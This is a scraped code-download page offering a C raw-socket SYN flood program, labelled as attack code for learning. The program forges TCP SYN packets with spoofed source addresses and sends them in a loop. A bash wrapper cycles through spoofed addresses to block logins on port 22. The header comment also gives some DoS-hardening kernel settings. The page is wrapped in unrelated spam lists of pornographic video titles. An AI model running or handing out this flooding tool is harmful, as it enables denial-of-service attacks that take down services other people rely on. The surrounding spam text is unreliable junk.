亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? synflooder.txt

?? SYN FLOOO攻擊代碼~~用來學習參考
?? TXT
字號:
/* Copyright GPL 2003 by Mike Chirico <mchirico@users.sourceforge.net>

  How to use this program.

   You must run this program as root, since it generates raw sockets. The
   following example does a ping SYN flood against 192.168.1.71 2000000 time
   on port 80.

     $./rawsockets -s 192.168.1.155 -d 192.168.1.71 -n 2000000 -p 80 

  How do you prevent against such an attack? See the following article:
        http://souptonuts.sourceforge.net/tcpdump_tutorial.html

  References:
    $ man packet

    http://www.infosecwriters.com/text_resources/pdf/raw_tcp.pdf
    http://www.linuxjournal.com/article/4659
    http://www.cs.huji.ac.il/labs/danss/planetlab/SafeRawSockets.pdf
    http://www.securityfocus.com/infocus/1729
    http://post.doit.wisc.edu/linux/secure.html
    http://staff.washington.edu/dittrich/misc/ddos/
    http://www.ibr.cs.tu-bs.de/lehre/ws0405/sec/uebung/uebung4.pdf
    ftp://rtfm.mit.edu/pub/usenet-by-group/comp.unix.programmer/Raw_IP_Networking_FAQ

  ##### Begin DoS Prevention #####                                          
  # shut some DoS stuff down                                                
  echo 1 > /proc/sys/net/ipv4/tcp_syncookies                                
  echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses             
  echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts                   
                                                                            
  # increase the local port range                                           
  echo 1024 65535 > /proc/sys/net/ipv4/ip_local_port_range                  
                                                                            
  # increase the SYN backlog queue                                          
  echo 2048 > /proc/sys/net/ipv4/tcp_max_syn_backlog                        
                                                                            
  echo 0 > /proc/sys/net/ipv4/tcp_sack                                      
  echo 0 > /proc/sys/net/ipv4/tcp_timestamps                                
                                                                            
  echo 64000 > /proc/sys/fs/file-max                                        
                                                                            
  ulimit -n 64000                                                          

 Run the following on a client to test a server against DOS. Below the following
 works against port 22. You will not be able to login.

     #!/bin/bash
     for j in `seq 254`                                             
     do                                                             
      for i in `seq 256`                                            
      do                                                            
       ./rawsockets -s "192.168.$j.$i" -d 192.168.1.71 -p 22 -n 1   
      done                                                          
     done                                              

  While the above is running issue the following command on the server.

    $ echo 1 > /proc/sys/net/ipv4/tcp_syncookies

  Also take a look at the number of half-open connections.

    $ netstat -n -t|grep 'SYN_RECV'             

  If you want to set the SackOK

    $ ./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2

  Or if you want to set SackOK and mss to 1460

    $ ./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2 -y 2 -z 4 -g 5 -h 180

  References for TCP options:
    http://www.packetshack.org/index.php?page=decode_tcp_opt
*/


#define __USE_BSD
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct tcp_options
{
  u_int8_t op0;
  u_int8_t op1;
  u_int8_t op2;
  u_int8_t op3;
  u_int8_t op4;
  u_int8_t op5;
  u_int8_t op6;
  u_int8_t op7;
};

char datagram[4096];		/* datagram buffer */
char pheader[1024];		/* pseudoheader buffer for computing tcp checksum */

uint16_t
csum (uint16_t * addr, int len)
{
  int nleft = len;
  uint32_t sum = 0;
  uint16_t *w = addr;
  uint16_t answer = 0;

  while (nleft > 1)
  {
    sum += *w++;
    nleft -= 2;
  }
  if (nleft == 1)
  {
    *(unsigned char *) (&answer) = *(unsigned char *) w;
    sum += answer;
  }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}

int
main (int argc, char **argv)
{

  int flags = 0, c, numtries = 90;
  char src_ip[17];
  char dst_ip[17];
  short dst_port = 80;
  short th_sport = 1234;
  short tcp_flags = TH_SYN;
  short pig_ack = 0;
  struct ip *iph = (struct ip *) datagram;
  struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
  struct tcp_options *tcpopt =
    (struct tcp_options *) (datagram + sizeof (struct ip) +
			    sizeof (struct tcphdr));
  struct sockaddr_in servaddr;
  memset (datagram, 0, 4096);	/* zero out the buffer */

  fprintf (stderr, "sizeof (struct ip)= %d\n", sizeof (struct ip));

  snprintf (src_ip, 16, "%s", "192.168.8.12");	//default

  while ((c = getopt (argc, argv, "s:d:n:p:f:a:q:w:x:y:z:g:h:i:j:")) != -1)
  {
    switch (c)
    {
    case 's':
      flags |= 0x1;
      snprintf (src_ip, 16, "%s", optarg);
      break;
    case 'd':
      flags |= 0x2;
      snprintf (dst_ip, 16, "%s", optarg);
      break;
    case 'n':
      flags |= 0x4;
      numtries = atoi (optarg);
      break;
    case 'p':
      flags |= 0x8;
      dst_port = atoi (optarg);
      break;
    case 'f':
      tcp_flags = atoi (optarg);
      break;
    case 'a':
      pig_ack = atoi (optarg);
      break;
    case 'q':
      th_sport = atoi (optarg);
      break;
    case 'w':
      tcpopt->op0 = atoi (optarg);
      break;
    case 'x':
      tcpopt->op1 = atoi (optarg);
      break;
    case 'y':
      tcpopt->op2 = atoi (optarg);
      break;
    case 'z':
      tcpopt->op3 = atoi (optarg);
      break;
    case 'g':
      tcpopt->op4 = atoi (optarg);
      break;
    case 'h':
      tcpopt->op5 = atoi (optarg);
      break;
    case 'i':
      tcpopt->op6 = atoi (optarg);
      break;
    case 'j':
      tcpopt->op7 = atoi (optarg);
      break;
    case '?':
      flags |= 0x10;
      fprintf (stderr, "Unrecognized option  \n");
      break;
    }
  }

  if (!(flags & 0x2))
  {
    fprintf (stderr,
	     "\nrawsockets -s <source ip> -d <destination ip> -p <port> -n <number of SYN floods>\n");
    fprintf (stderr, "\nYou must give me a destination\n");
    fprintf (stderr,
	     "  Example:\n\t\t./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1\n");
    fprintf (stderr,
	     "  Or with SackOK :\n\t\t./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2\n");
    fprintf (stderr,
	     "  SackOK and mss 1460:\n\t\t./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2 -y 2 -z 4 -g 5 -h 180\n");

    return 1;
  }
  if (getuid ())
  {
    fprintf (stderr,
	     "\n Also, you must be root to run this program:  ./su -c \"./rawsockets -s <source ip> -d <destination ip> -p 80 -n 2000\"\n");
    return 1;
  }

  fprintf (stdout, "src %s dst %s number of tries %d\n", src_ip, dst_ip,
	   numtries);

  int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);	/* open raw socket */
  servaddr.sin_family = AF_INET;
  // servaddr.sin_port = htons (10000);
  //OLD WAY  servaddr.sin_addr.s_addr = inet_addr (dst_ip); /* destination ip */
  inet_pton (AF_INET, dst_ip, &servaddr.sin_addr);
  int tcphdr_size = sizeof (struct tcphdr);

  iph->ip_hl = 5;
  iph->ip_v = 4;
  iph->ip_tos = 0;
  iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr) + 8 + 6 + 6;	/* data size = 0, but tcp using option flags */
  iph->ip_id = htons (31337);
  iph->ip_off = 0;
  iph->ip_ttl = 250;
  iph->ip_p = 6;
  iph->ip_sum = 0;
  //OLD WAY iph->ip_src.s_addr = inet_addr (src_ip);/* source ip  */
  inet_pton (AF_INET, src_ip, &(iph->ip_src));
  iph->ip_dst.s_addr = servaddr.sin_addr.s_addr;

  tcph->th_sport = htons (th_sport);	/* source port */
  tcph->th_dport = htons (dst_port);	/* destination port */
  tcph->th_seq = htonl (31337);
  tcph->th_ack = htonl (pig_ack);	/* in first SYN packet, ACK is not present */
  tcph->th_x2 = 0;
  // tcph->th_off = sizeof(struct tcphdr)/4; /* data position in the packet */
  // Special chirico adjustment to give 2x32
  tcph->th_off = 7 + 2 + 1;

  fprintf (stderr, "Data offset %d  sizeof(struct tcphdr)=%d\n",
	   tcph->th_off, sizeof (struct tcphdr));
  /*
     #  define TH_FIN        0x01
     #  define TH_SYN        0x02
     #  define TH_RST        0x04
     #  define TH_PUSH       0x08
     #  define TH_ACK        0x10
     #  define TH_URG        0x20
   */

  tcph->th_flags = tcp_flags;	/* initial connection request */
  tcph->th_win = htons (57344);	/* FreeBSD uses this value too */
  tcph->th_sum = 0;		/* we will compute it later */
  tcph->th_urp = 0;
  if (tcphdr_size % 4 != 0)	/* takes care of padding to 32 bits */
    tcphdr_size = ((tcphdr_size % 4) + 1) * 4;
  fprintf (stderr, "tcphdr_size %d\n", tcphdr_size);
  tcphdr_size = 40;
  fprintf (stderr, "tcphdr_size %d\n", tcphdr_size);

  memset (pheader, 0x0, sizeof (pheader));
  memcpy (&pheader, &(iph->ip_src.s_addr), 4);
  memcpy (&pheader[4], &(iph->ip_dst.s_addr), 4);
  pheader[8] = 0;		// just to underline this zero byte specified by rfc
  pheader[9] = (u_int16_t) iph->ip_p;
  pheader[10] = (u_int16_t) (tcphdr_size & 0xFF00) >> 8;
  pheader[11] = (u_int16_t) (tcphdr_size & 0x00FF);

  /* tcpopt->op0=4;   sackOK 
     tcpopt->op1=2;
   */
  memcpy (&pheader[12], tcph, sizeof (struct tcphdr));
  memcpy (&pheader[12 + sizeof (struct tcphdr)], tcpopt,
	  sizeof (struct tcp_options));
  fprintf (stderr, "12+sizeof(struct tcphdr)= %d    %d\n",
	   12 + sizeof (struct tcphdr), sizeof (struct tcp_options));
  /* This is an example of setting SackOK we need to set it in the
     header for checksum and in the actual data.  This should only get
     sent when using SYN? */

  //pheader[32]=4;
  //  pheader[33]=2;
  //datagram[40]=4;
  //datagram[41]=2;

  fprintf (stderr, "********** %d %d\n", tcpopt->op0, datagram[40]);
  fprintf (stderr, "********** %d %d\n", tcpopt->op1, datagram[41]);
  fprintf (stderr, "csum size is %d\n", tcphdr_size + 12);

  tcph->th_sum = csum ((uint16_t *) (pheader), tcphdr_size + 12);
  //  iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);
  int one = 1;
  const int *val = &one;
  if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
  {
    fprintf (stderr,
	     "Error: setsockopt. You need to run this program as root\n");
    return -1;
  }

  int modval = numtries / 15;
  if (modval < 2)
    modval = 2;
  int ft = 0;
  while (numtries-- > 0)
  {
    if (sendto
	(s, datagram, iph->ip_len, 0, (struct sockaddr *) &servaddr,
	 sizeof (servaddr)) < 0)
    {
      fprintf (stderr, "Error in sendto\n");
      exit (1);
    }
    else
    {
      if (ft == 0)
      {
	fprintf (stderr,
		 "[****************]\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b");
	ft = 1;
      }

      if ((numtries % modval) == 0)
	fprintf (stderr, ".");

    }
  }

  fprintf (stderr, "sizeof(struct tcp_options)=%d\n",
	   sizeof (struct tcp_options));
  return 0;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
黑人精品欧美一区二区蜜桃| 91九色02白丝porn| 91在线一区二区三区| 欧美卡1卡2卡| 自拍偷拍亚洲激情| 精品系列免费在线观看| 在线免费观看不卡av| 国产精品欧美一级免费| 精品在线观看视频| 8v天堂国产在线一区二区| 亚洲欧洲一区二区在线播放| 国产成人在线影院| 欧美大尺度电影在线| 亚洲va欧美va人人爽| 99久久夜色精品国产网站| 久久中文娱乐网| 久久精品国产亚洲5555| 欧美精品三级日韩久久| 亚洲一区二区在线免费观看视频 | 亚洲国产精品综合小说图片区| 国产大陆亚洲精品国产| 日韩精品中午字幕| 日本vs亚洲vs韩国一区三区| 欧美色爱综合网| 亚洲激情自拍视频| 色哟哟亚洲精品| 亚洲丝袜精品丝袜在线| www.亚洲人| 中文字幕亚洲一区二区va在线| 国产99精品国产| 国产亚洲va综合人人澡精品| 韩国女主播一区二区三区| 欧美一二三在线| 久国产精品韩国三级视频| 日韩欧美一区二区视频| 久久99热狠狠色一区二区| 日韩欧美的一区二区| 精彩视频一区二区三区| 久久综合色天天久久综合图片| 精品亚洲免费视频| 国产精品日产欧美久久久久| 国产福利一区二区| 中文字幕免费一区| 不卡电影一区二区三区| 亚洲色欲色欲www| 精品视频在线免费观看| 午夜欧美一区二区三区在线播放| 欧美高清视频不卡网| 蜜臀久久久99精品久久久久久| 日韩欧美亚洲国产另类| 国产精品一线二线三线精华| 中文字幕欧美区| 欧美性生交片4| 琪琪一区二区三区| 国产丝袜在线精品| 色婷婷亚洲综合| 三级在线观看一区二区| 26uuu国产在线精品一区二区| 国产成a人无v码亚洲福利| 亚洲免费av高清| 91精品国产手机| 懂色av一区二区三区蜜臀| 亚洲精品日韩一| 欧美一区二区三区成人| 丁香啪啪综合成人亚洲小说| 17c精品麻豆一区二区免费| 欧美理论片在线| 懂色av一区二区三区免费观看| 亚洲影院在线观看| 精品999久久久| 色综合久久久久综合体| 青娱乐精品视频| 亚洲欧洲综合另类| 精品美女一区二区三区| 91高清视频免费看| 国产精品中文欧美| 亚洲va韩国va欧美va精品| 丝袜国产日韩另类美女| 日本一二三四高清不卡| 欧美日韩一区二区三区高清| 国产精品1区2区3区| 日韩专区欧美专区| 亚洲色图另类专区| 久久久久久电影| 5566中文字幕一区二区电影| 成人深夜在线观看| 久久精品99国产精品| 一区二区三区久久| 中文字幕精品—区二区四季| 欧美精品免费视频| 日本电影欧美片| 粉嫩嫩av羞羞动漫久久久| 蜜臀av性久久久久蜜臀av麻豆| 依依成人综合视频| 国产精品国产三级国产三级人妇| 日韩视频在线一区二区| 日本高清成人免费播放| 北条麻妃国产九九精品视频| 国产一区欧美日韩| 美国三级日本三级久久99| 天天综合色天天| 亚洲成人免费电影| 一区二区三区.www| 亚洲精品久久久蜜桃| 国产精品白丝在线| 国产精品国产三级国产aⅴ入口| 26uuu另类欧美| 久久久亚洲精品一区二区三区| 精品久久人人做人人爽| 欧美一区二区免费视频| 欧美一区二区三区思思人| 欧美日韩一区二区三区四区| 欧美性色综合网| 欧美午夜一区二区| 欧美日韩一卡二卡| 欧美日韩和欧美的一区二区| 欧美日韩一级二级| 精品视频一区二区三区免费| 欧美日韩免费电影| 欧美区在线观看| 欧美一二三四在线| 精品国产三级a在线观看| 精品不卡在线视频| 国产亚洲精品aa| 亚洲视频免费在线| 一区二区三区国产精华| 亚洲图片一区二区| 天堂资源在线中文精品| 免费看日韩精品| 国产一区在线看| 成人ar影院免费观看视频| 色悠悠亚洲一区二区| 欧美日韩亚洲不卡| 日韩欧美高清dvd碟片| 国产婷婷色一区二区三区四区| 亚洲国产精品av| 亚洲一区免费在线观看| 日韩vs国产vs欧美| 国产精一品亚洲二区在线视频| 成熟亚洲日本毛茸茸凸凹| 91蝌蚪国产九色| 制服.丝袜.亚洲.中文.综合| 久久久噜噜噜久噜久久综合| 亚洲三级在线播放| 午夜精品在线视频一区| 国产一本一道久久香蕉| 91亚洲精品乱码久久久久久蜜桃 | 欧美日韩大陆一区二区| 日韩免费视频一区二区| 中文字幕在线不卡| 婷婷开心久久网| 福利电影一区二区三区| 欧美三级视频在线播放| 国产亚洲成年网址在线观看| 亚洲黄一区二区三区| 麻豆精品一区二区三区| 91同城在线观看| 精品不卡在线视频| 亚洲成人自拍偷拍| 国产suv精品一区二区6| 欧美蜜桃一区二区三区| 国产精品色噜噜| 久久99久久久久| 精品视频一区二区三区免费| 国产人成一区二区三区影院| 肉色丝袜一区二区| 99精品欧美一区二区三区综合在线| 日韩欧美高清dvd碟片| 亚洲九九爱视频| 国产精品小仙女| 日韩丝袜美女视频| 亚洲国产精品一区二区www在线| 国产91精品免费| 欧美不卡一区二区三区| 午夜不卡av免费| 色吧成人激情小说| 中文字幕精品一区二区三区精品| 男男视频亚洲欧美| 欧美日韩国产bt| 亚洲自拍另类综合| 91美女福利视频| 中文字幕一区二区三区四区| 国产精品综合二区| 精品福利一区二区三区免费视频| 婷婷久久综合九色综合绿巨人 | 国产精品一区二区久久精品爱涩 | 中文字幕日韩一区| 国产美女在线精品| 91麻豆精品91久久久久久清纯| 综合激情网...| 99国产精品一区| 国产精品毛片无遮挡高清| 国产高清精品在线| 久久久夜色精品亚洲| 国内精品伊人久久久久av影院 | 久久久久久久久97黄色工厂| 免费高清在线一区| 日韩欧美一区在线观看| 男女性色大片免费观看一区二区| 91麻豆精品国产91久久久久|